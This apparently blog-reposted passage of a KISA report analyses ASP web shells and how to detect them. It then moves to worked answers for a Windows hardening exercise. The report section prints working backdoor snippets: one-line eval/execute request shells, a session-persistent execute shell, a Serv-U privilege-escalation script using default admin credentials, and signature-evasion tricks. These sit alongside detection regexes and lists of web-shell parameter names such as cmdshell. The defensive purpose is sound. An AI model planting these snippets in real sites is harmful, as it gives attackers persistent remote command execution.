    o Serv-U 디폴트 관리 아이디/패스워드로 로그인
    - USER LocalAdministrator (디폴트 아이디)
    - PASS #l@$ak#.lk;0@P (디폴트 패스워드)
    o Serv-U에 신규 도메인 생성
    o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
    o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행

    set a=Server.CreateObject(“Microsoft.XMLHTTP”)
    a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “”
    a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain &
    newuser & quit
    set session(“a”)=a
    set b=Server.CreateObject(“Microsoft.XMLHTTP”)
    b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “”
    b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit
    set session(“b”)=b

    나. 스크립트 인코딩
    마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.

    http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

    Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.

    SCRENC [switches] inputfile outputfile

    일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.
    일반 소스
    인코딩 소스
    <SCRIPT language=”VBScript”>
    <%
    This is test
    %>
    </SCRIPT>
    <%@ LANGUAGE = VBScript.Encode %>
    <SCRIPT language=”VBScript”>
    <%#@~^FAAAAA==@#@&K4b/,k/,Y dY
    @#@&ogQAAA==^#~@%>
    </SCRIPT>
    [그림] scrdec18 프로그램을 이용한 디코딩
    다. 짧은 웹쉘
    ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.

    - eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
    - execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.

    eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)
    [그림] execute, eval 코드를 이용한 웹쉘 실행 방법
    ■ eval 코드
    다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
    - <%eval request(“l”)%>
    - <%eval(request(“#”))%>

    ■ execute 코드
    다음은 피해시스템에서 발견된 execute 코드 유형이다.
    - <%execute request(“l”)%>
    - <%If Request(“#”)<>”” Then Execute(Request(“#”))%>

    ■ execute 세션 유지 용 코드
    execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.
    <SCRIPT language=”vbscript” runat="”server”">
    If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”)
    If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”))
    </SCRIPT>

    라. 기타

    ■ 문자열 분리를 이용한 탐지 우회 기능
    최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.

    - Shell.Application
    문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
    Shell.Application 문자열을 분리한다.
    Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
    “She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
    - WScript.Shell
    Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)

    ■ 파일 생성 웹쉘
    Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.

    [그림] 파일 생성 웹쉘 화면
    3. 탐지 방안

    가. 웹쉘 시그니쳐를 이용한 파일 검색

    ■ 시그니쳐
    웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.

    - Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
    - 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
    - 중국어 간체 gb2312
    - 시스템 명령에 필요한 문자열 cmd.exe
    - 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등
    cmd\.exe
    Wscript\.Shell Shell\.Application VBScript\.Encode gb2312
    execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\(
    webshell lake2 hack520 lcxMarcos Marcos

    ■ findstr 명령어를 활용한 탐지 방법
    findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.

    findstr /i /r /s /g:asp.sig *.asp

    - i : 대소문자 구분없이 검색
    - g : 지정된 파일에서 검색 문자열을 받음
    - r : 정규 표현식 사용
    - s : 모든 하위디렉터리 검색

    ※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
    우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
    검색 하도록 해야 한다.

    [그림] 검사대상 확장명
    나. 웹쉘 로그 시그니쳐를 이용한 웹 로그 검색

    ■ 시그니쳐
    최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.

    ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell

    인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.
    Action=MainMenu
    Action=Show1File
    Action=EditFile
    Action=DbManager
    Action=getTerminalInfo
    Action=ServerInfo
    Action=Servu
    Action=kmuma
    Action=kmuma&act=scan
    Action=Cplgm&M=2
    Action=plgm
    Action=PageAddToMdb >
    Action=ReadREG
    Action=ScanPort
    Action=Cmd1Shell
    Action=UpFile
    (pageName|id|list|action|act)=ServiceList
    (pageName|id|list|action|act)=ServiceList
    (pageName|id|list|action|act)=infoAboutSrv
    (pageName|id|list|action|act)=objOnSrv
    (pageName|id|list|action|act)=userList
    (pageName|id|list|action|act)=WsCmdRun
    (pageName|id|list|action|act)=SaCmdRun
    (pageName|id|list|action|act)=SaCmdRun&theAct
    (pageName|id|list|action|act)=FsoFileExplorer
    (pageName|id|list|action|act)=FsoFileExplorer&theAct
    (pageName|id|list|action|act)=FsoFileExplorer&thePath
    pageName=MsDataBase
    pageName=MsDataBase&theAct=showTables
    pageName=TxtSearcher
    pageName=OtherTools
    act=scan
    Action=mainwin
    action=listtb
    action=listvw
    action=listdb
    action=execsql
    action=dbsrcbox
    action=searchfile
    action=xpcmdshell
    (action|act)=cmdshell
    action=mainmenu
    action=showfile
    action=editfile
    action=course
    action=serverinfo
    action=upfile
    action=dbmanager
    ex=edit&pth=
    PageName=PageUpload&theAct
    PageName=PageWebProxy&url=
    productName=HigroupASPAdmin
    PageWebProxy
    aCTiON=cMd
    aCTiON=ClonETiMe&SrC=
    aCTiON=SqLrOotKIt
    aCTiON=Reg
    aCTiON=DAtA
    aCTiON=Goto&SrC=C:\
    aCTiON=uPFIlE&SrC=
    aCTiON=NEw&SrC=
    act=info
    act=filemanage
    act=edit&src=
    act=del&src=
    act=rename&src=
    DirName=
    Type=.*FileName=.*\
    Type=.*ok=dir
    FsoFileExplorer
    WsCmdRun
    SaCmdRun
    MsDataBase
    HigroupASPAdmin
    =cmd
    ClonETiMe
    SqLrOotKIt

    4. 결론
    관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
    앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.

    [자료: 한국정보보호진흥원(KISA)]
    2011/01/27 01:06 2011/01/27 01:06
    1.사용자 계정 정책 보안

    윈도우 2000 서버를 FTP 서비스로 사용하기 위해 새로 설치하였다.
    "ftp_user" 라는 사용자를 아래와 같은 정책으로 구성하여라.

    1. 기호 및 숫자, 알파벳을 조합한 최소 암호길이를 7자리 이상으로 설정하여라.
    => "제어판>관리도구>로컬 보안 설정"
    "계정 정책>암호 정책"에
    정책중에서 "암호는 복잡성을 만조해야함"을 "사용"으로 설정
               "최소 암호 길이" "7"로 설정



    2. 패스워드 재 사용 금지를 위해 이전 패스워드 3개를 기억할 수 있도록
    설정하여라.
    => "제어판>관리도구>로컬 보안 설정"
    "계정 정책>암호 정책"에
    정책중에서 "최근 암호 기억"을 "3"으로 설정



    3. 패스워드 유출 사고를 대비하여 31일마다 패스워드를
    재설정 하도록 하여라.
    => "제어판>관리도구>로컬 보안 설정"
    "계정 정책>암호 정책"에
    정책중에서 "최대 암호 사용 기간"을 "30"으로 설정



    4. 사전 대입 공격을 차단하기 위해 5번의 로그인 실패 시 30분간
    잠금 정책을 설정하여라.
    => "제어판>관리도구>로컬 보안 설정"
    "계정 정책>계정 잠금 정책"에
    정책에서 "계정 잠금 임계값"을 "5"로 설정한다.
    //임계값을 설정하면 자동으로 계정 잠금 기간이 30으로 설정 된다.



    5. 위 정책을 보안 템플릿 파일 형태로 작성하여라.
    (저장 파일명: C:\Usrmply.inf)
    => 저장


    6. `net`명령어를 이용하여 위에서 설정된 결과값을 저장하여라.
    (저장 파일명: C:\Usrmply.txt)
    => C 드라이드 root로 이동후에
    net accounts > Usrmply.txt



    2.사용자 권한 할당

    1. 하위 윈도우 버전(NT3.5, Windows 98등)과
    텍스트 암호 통신을 하는 LM인증을 사용하지 않도록
    윈도우 2000 서버의 인증 보안을 강화시켜라(NTLMv2사용).
    =>
    실행>secpol.msc(로컬보안설정)
    "로컬 정책>보안 옵션"에서
    정책중에 "네트워크 보안:LAN Manager 인증 수준"을
    "NTLMv2 응답만 보냄\LM 거부"로 설정



    2. 일반 사용자가 시스템에 직접 로컬 로그온 하여 악의적인 코드를
    다운로드하고 실행하여 사용자 권한을 변경 할 수 있는 위험을 없애기 위해
    허가된 관리자 그룹(Administrators)을 제외한 모든 그룹에 대하여
    로컬 로그온을 하지 못하도록 설정하여라.
    =>
    실행>secpol.msc(로컬보안설정)
    "로컬 정책>사용자 권한 할당"에서
    정책중 "로컬로 로그온"을 Administrator만 남기고 모두 삭제


    3. Windows XP컴퓨터에서 네트워크를 통해 Windows 2000 도메인 컨트롤러
    공유자원에 접근하기 위해 SMB통신을 하려고 한다.
    IPSec을 사용하지 않고 공격자의 세션 가로채기 공격을 방어할 수 있는
    SMB 서명 인증 통신 방법을 설정하여라.
    =>
    실행>secpol.msc(로컬보안설정)
    "로컬 정책>보안 옵션"에서
    정책중에
    "Microsoft 네트워크 서버 : 디지털 서명 통신 (서버에서 동의한 경우)"
    "Microsoft 네트워크 서버 : 디지털 서명 통신 (항상)"
    "Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)"
    "Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (항상)"

    위에 4개 정책을 모두 "사용"으로 설정한다.
    "Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)" 정책은
    기본으로 사용으로 되어있는 경우도 있음.


    3.익명 보안 옵션Windows 2000
    ※ 주의 : 문제서버를 Windows 2000 Server로 간주하고 문제를 해결하시오.

    1. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
    경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
    [제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
    [내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
    무단 접근을 시도하면 기소 사유가 됩니다.]
    =>실행>regedit
    [경고 문서 생성]
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에
    "LegalNoticeCaption" (제목)
    "LegalNoticetext" (내용) 에 각각 해당 사항 입력

    [마지막으로 로그온한 사용자 계정 감추기]
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에서
    오른쪽클릭>새로만들기> DWORD 값
    이름 : DontDisplayLastUserName
    값 데이터 : 0x1(16진수)



    2. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
    `사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
    익명 접근을 제한하라
    =>
    "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" 에
    이름: RestrictAnonymous 에 값을 0x2(16진수) 로 변경



    3. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
    관리용 폴더를 검색하여 `C:\MgtShare.txt`파일로 저장하여라.
    또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
    공유되지 않도록 레지스트리 값을 설정하여라.
    =>
    [관리용 폴더를 검색하여 저장]
    net share > c:\MgtShare.txt

    [현재 실행 중인 기본 공유 제거]
    net share c$ /delete
    net sharee admin$ /delete
    net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
     

    [기본 공유 제거 - XP / 2003]
    "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
     - Value name : AutoShareServer
     - Data Type : DWORD
     - Value : 0(zero)

    [기본 공유 제거 - 2000]
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
     - Value name : AutoShareWks
     - Data Type : DWORD
     - Value : 0(zero)

    ===> 문제에서는 윈도우 2000 서버로 생각하고 풀어라고 했는데, 윈도우 2000 서버의 기본 공유 제거

    방법이 먹히지 않음 (문제를 잘못 낸듯)

    XP/2003에서의 기본 공유 제거 방법으로 해야 문제가 풀립니다.


    4.익명 보안 옵션Windows XP
     (3번문제과 연결된 문제)

    4. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
    경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
    [제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
    [내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
    무단 접근을 시도하면 기소 사유가 됩니다.]
    =>
    [경고 문구 입력]
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
    LegalNoticeCaption (제목)
    LegalNoticetext (내용) 에 각각 해당 사항 입력

    [마지막 로그온한 사용자 계정 감추기]
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
    "dontdisplaylastusername" 을 "1"로 설정



    5. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
    `사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
    아래와 같이 익명 접근을 제한하여라.

    A. 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한
    =>
    "로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
    "계정: 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한"을 사용으로 변경

    B. SAM 계정의 익명 열거 허용 안함
    =>
    "로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
    "네트워크 액세스: SAM 계정과 공유의 익명 열거 허용 안 함 "을 사용으로 변경

    C. SAM 계정과 공유의 익명 열거 허용 안함
    =>
    "로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
    "네트워크 액세스: SAM 계정의 익명 열거 허용 안 함 "을 사용으로 변경



    6. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
    관리용 폴더를 검색하여 `C:\MgtShare.txt` 파일로 저장하여라.
    또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
    공유되지 않도록 레지스트리 값을 설정하여라.
    =>
    [관리용 폴더를 검색하여 저장]
    net share > c:\MgtShare.txt

    [현재 실행 중인 기본 공유 제거]
    net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
    net share c$ /delete
    net sharee admin$ /delete

    [기본 공유 제거 - XP / 2003]

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters

     - Value name : AutoShareServer
     - Data Type : DWORD
     - Value : 0(zero)


    5.관리자 계정 보안

    1. 현재 관리자 sid값은 무엇인가?
    =>
    실행(ctrl+r) > cmd

    c:\>user2sid administrator
    S-1-5-21-796845957-412668190-839522115-500
    Number of subauthorities is 5
    Domain is KISA-1
    Length of SID in memory is 28 bytes
    Type of SID is SidTypeUser

    c:\>getsid \\kisa-1 administrator \\kisa-1 administrator
    The SID for account KISA-1\administrator matches account KISA-1\administrator
    The SID for account KISA-1\administrator is S-1-5-21-796845957-412668190-839522115-500



    2. 관리자 이름을 `eent123x`로 변경하여라. 변경 이후 관리자 sid값은 무엇인가?
    =>
    [관리자 이름 변경]
    "로컬 보안 설정>로컬 정책 > 보안 옵션" 에 정책중
    "계정 : Administrator 계정 이름 바꾸기" 값을 eent123x로 변경한다.

    [변경 이후 관리자 sid 값]
    1번 같은 방법으로..




    3. 가짜 Administrator 계정을 만들고 guest 그룹으로 등록하여라.
    => "제어판 > 관리도구 > 컴퓨터 관리"에
       "로컬 사용자 및 그룹 > 사용자"에서
       "오른쪽 클릭 > 새 사용자"클릭 이름을 Administrator로 정하고 확인
       목록에서 Administrator 우클릭> 속성에 "소속 그룹" 탭에서
       "추가" 클릭> 그룹선택에서 "고급" 클릭
       "지금 찾기"클릭후 목록에서 Guest 계정 클릭하고 확인
       기존에 등록되어있던 소속 그룹은 삭제한다.
      


    4. 패스워드 크랙 방지를 위해 SAM 데이터 베이스를 128bit로 암호화 시켜라.
    => 실행>cmd

    c:>syskey
    Windows XP 계정 테이터베이스 보안
    암호화 사용> 확인


    6.패치 및 업데이트 관리

    ※ 주의 : MBSA(Microsoft Baseline Security Analyzer)를 이용하여 해결하시오.

    1. 현재 시스템에서 업데이트가 이루어지지 않았거나 잘못된 업데이트는
    모두 몇 개 인가?
    => C:\Program Files\Microsoft Baseline Security Analyzer\mbsa를 실행한다.

    17개


    2. 현재 시스템에서 나타난 취약점은 모두 몇 개 인가?
    0개



    7.Windows XP 폴더 보안

    Windows XP Professional을 사용하는 중소기업에서 개인 공유 폴더에 대한 보안을
    아래와 같이 설정하려고 한다.

    1. `4분기영업자료` 공유 폴더를 share_user 라는 사용자만 네트워크를 통해
    읽기 가능하도록 설정하여라.
    => 해당 폴더 우클릭 > "공유 및 보안" 클릭
       공유설정 확인한다.
       사용자 제한설정이 나오지 않는다면 탐색기>도구>폴더 옵션 "보기"탭에서
       "모든 사용자에게 동일한 폴더 공유 건한을 지정"에 체크를 해제한다.
      
       "사용권한" 클릭 > "추가" 클릭 > "고급" 클릭 > "지금 찾기" 클릭
       share_user 를 찾아서 확인
       기존에 등록된 그룹또는 사용자는 삭제한다.



    2. `4분기영업자료` 폴더에 접근할 사내 직원은 10명이 넘지 않으므로 10명만
    동시 접속이 가능하도록 설정하여라
    =>
       "공유 및 보안"에서 사용자 제한> "허용 인원"을 10으로 설정


    8.터미널 서비스 보안

    1. `ftp_user` 계정만 터미널 서비스에 로그온 할 수 있도록 설정하여라.
    => "실행" > "compmgmt.msc"(컴퓨터관리)
       "시스템 도구" > "로컬 사용자 및 그룹" > "사용자" > "ftp_user"추가
       내 컴퓨터 > 속성 > "원격"탭에서 원격데스크톱에 사용자 추가 ftp_user
      

    2. 기본적인 터미널 서비스 포트 3389/tcp를 3147포트로 변경하여라.

    아래 레지스트리 경로로 이동하여 터미널 서비스 접속 포트를 변경 하여 준다.
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp 에서 Port number 수정
     

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 에서 Port number 수정



    10진수를 선택하고 3147을 넣어주면 된다.


    9.레지스트리 보안

    웜이 시스템 시작 시 레지스트리로부터 실행되는 것을 막기 위해 자동 실행관련
    레지스트리 키를 찾아 관리자 그룹(administrators), 시스템 그룹(SYSTEM)만
    접근 가능하도록 설정하였다.

    1. 바이러스 웜 및 악성 프로그램이 시스템에 설치되었는지 감사하고자 한다.
    자동 실행 관련 레지스트리 키의 `값 설정`, `삭제`, `하위 키 추가 성공`,
    `연결 만들기` 이벤트 발생시 감사로그가 남도록 설정하여라.

    HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices

    HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices, RunServicesOnce



    2. 패스워드 무작위 대입 공격이나 바이러스 웜 감염을 막기 위해 원격에서
    레지스트리 조작을 허용하지 않도록 설정하여라
    => 실행 > services.msc
    "Remote Registry" 항목 "사용 안함"으로 설정


    10.전자 메일 보안

    1. 바이러스 가능성이 있는 첨부파일을 저장하거나 열 수 없도록 설정하여라.
    => OutLook Express 실행 > "도구" > "옵션"
       "보안"탭에 "바이러스 가능성이 있는 첨부 파일을 저장하거나 열 수 없음" 체크



    2. 다른 응용 프로그램에서 나를 발신인으로 하는 메일을 보낼 때 경고하도록
    설정하여라.
    => OutLook Express 실행 > "도구" > "옵션"
       "보안"탭에 "다른 응용 프로그램에서 나를 발신인으로 하는 메일 보낼 때 경고" 체크



    3. 선정적인 HTML이나 악성 HTML, 스파이웨어 등으로부터 컴퓨터를 보호하기 위해
    수신된 모든 전자메일을 평문(Text)으로 읽을 수 있도록 설정하여라.
    => OutLook Express 실행 > "도구" > "옵션"
       "읽기" 탭에 "일반 텍스트로 모든 메시지 읽기" 체크


    4. 제목이 `[광고], (광고), [광 고], (광 고)`로 표기된 메일을 모두
    `광고메일` 함으로 이동시키는 필터 규칙을 만들고 적용하여라.
    (단, 규칙 이름은 `광고메일` 로 지정한다.)
    => "도구" > "메세지 규칙" > "메일" 클릭
    1. 규칙의 조건 선택 에서 "제목란에 특정 단어 포함" 선택
    2. 규칙의 동작 선택 에서 "지정된 폴더로 이동" 선택
    3. 규칙 설명에서 특정단어와 지정된 폴더 클릭으로 들어가서 선택
    4. 규칙 이름에 "광고메일" 입력



    5. 제품 등록 키를 PGP로 암호화하여 수신된 E-Mail이 있다.(개인키 : kisa12#$)
    전자메일 메시지 내의 제품 정식 등록 키 값은 무엇인가?
    => 메일 전체 복사
    트레이아이콘(자물쇠) 클릭 > "clipboard" > decrypt & verify
    "개인 키"에 kisa12#$를 입력 확인

    제품 등록키 123-24-12345



    11.파일 및 폴더 암호화

    1. 기밀 파일을 담고 있는 `C:\Documents and Settings\kisa\My Documents`
    폴더를 EFS를 사용하여 암호화 하고자 한다. 아래와 같이 설정하여라.

    ▶ 다른 계정으로 로그온 한 사용자가 접근하지 못하도록 제한하여라.
    ▶ 현재 폴더 및 하위 폴더에 모두 적용되도록 설정하여라.

    [EFS 암호화]
    해당 폴더 우클릭 > 속성 > "일반"탭 에서 "고급" 클릭
    "보관 가능" 체크
    "데이터 보호를 위해 내용을 암호화" 체크 후에 확인
     현재 폴더 및 하위 폴더 적용 체크 후 다시 확인



    2. `C:\EfsShare`에 EFS로 암호화되어 저장된 파일(sis.txt)을
    `sis_admin` 사용자도 읽기 가능하도록 설정하여라.
    =>
     폴더로 이동하여 sis.txt 라는 파일을 새로 만든다.
     1번과 동일하게 암호화 해준다.

    c:\EFShare안에 sis.txt 파일을 만들고 똑같이 EFS로 암호화 하되 자세히를 눌러 접근 가능한 사용자를 추가해 준다.

    자세히가 클릭이 안될경우
     속성에 "보안" 탭에 sis_admin 사용자를 추가 한다.



    3. 패스워드 분실 및 계정 삭제, 디스크 포맷등과 같은 만일의 사태에 대비하여
    암호화한 파일 및 폴더를 복구 할 수 있도록 인증서를 백업(C:\EFSBackup.cer)하여라
    => "실행" > mmc > 파일 > 스냅입 추가/제거
     인증서를 추가 한다.
     인증서에서 "신뢰된 사용자" > "인증서"에서
     "sis_admin" 우클릭 > 모든작업 > 내보내기


    12.인터넷 익스플로어 보안

    1. 공용 컴퓨터에서 인터넷 뱅킹 뿐만 아니라 사적인
    컴퓨팅 활동을 보호 하려고 한다. 웹 사이트에서 입력된 사이트 주소,
    사용자 ID 및 패스워드를 저장 시키지 않기 위한 옵션과 최근 방문했던
    모든 사이트의 주소를 삭제하여라.

    => 익스플로러 > 속성 > "일반" 탭에서 쿠키 및 임시파일
       인터넷 접속 목록을 모두 삭제 한다.
     
    [사용자 ID 및 패스워드를 저장 시키지 않기]
    익스플로러  > 속성 > "내용" > "자동 완성" 클릭
    자동완성 대상을 모두 체크를 해제 한다.


    2. 개인 보호 정책이 없는 제 3사 사이트로부터 쿠키를 차단 시키고,
    제 1사 쿠키만을 허용하도록 쿠키 보안을 설정하여라.
     
    => 익스플로러 > 속성 > "개인 정보" 탭에서 "고급" 클릭
       제 1사 쿠키 는 "적용"
       제 3사 쿠키 는 "차단" 으로 적용한다.


    13.DoS공격 방어

    아래와 같이 웹 서버가 초당 1000개 이상의 SYN 패킷을 받고 있었다.
    앞으로 이런 유형의 공격을(DoS) 방어하기 위한 레지스트리 값을 설정하여라.

    C:>netstat -na | findstr ` SYN_RECEIVED`
    TCP 211.241.82.71:80 6.55.194.236:51370 SYN_RECEIVED
    TCP 211.241.82.71:80 16.192.252.18:22452 SYN_RECEIVED
    TCP 211.241.82.71:80 49.5.243.221:52363 SYN_RECEIVED
    TCP 211.241.82.71:80 50.145.99.80:46108 SYN_RECEIVED
    TCP 211.241.82.71:80 51.53.109.147:28308 SYN_RECEIVED
    TCP 211.241.82.71:80 61.58.85.212:52375 SYN_RECEIVED
    TCP 211.241.82.71:80 63.33.85.135:32111 SYN_RECEIVED
    TCP 211.241.82.71:80 67.206.19.195:28501 SYN_RECEIVED
    TCP 211.241.82.71:80 68.79.239.155:42810 SYN_RECEIVED
    TCP 211.241.82.71:80 221.29.79.118:36387 SYN_RECEIVED 

    =>서비스 거부 공격을 원천적으로 막을 수 있는 방법은 아직 없지만

    윈도우는 TCP/IP 스택을 강화하면 일부 정도는 막을수 있다.

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tcpip\parameters " 에

    다음과 같은 항목을 추가한다.

    name                   hex값(10진)
    EnableICMPRedirect     0
    SynattackProtect       2
    TcpMaxHalfOpen            64(100)
    TcpMaxHalfOpenRetried     64(100)
    EnableDeadGWDetect    0
    EnablePMTUDiscovery    0
    KeepAliveTime    493e0(300000)
    DisableIPSourceRouting    2
    TcpMaxConnectResponseRetransmissions    2
    TcpMaxDataRetransmissions    3
    PerformRouterDiscovery    0
    TcpMaxPortsExhausted   5
    NoNameReleaseOnDemand     1



    14.IPSec 보안

    1. 외부의 특정 네트워크 대역으로부터 SMB Login Burst Force 공격이
    지속적으로 발생되고 있다.
    해당 네트워크 대역으로부터 서버를 보호하기 위한 IPSec 환경을 구성하여라.
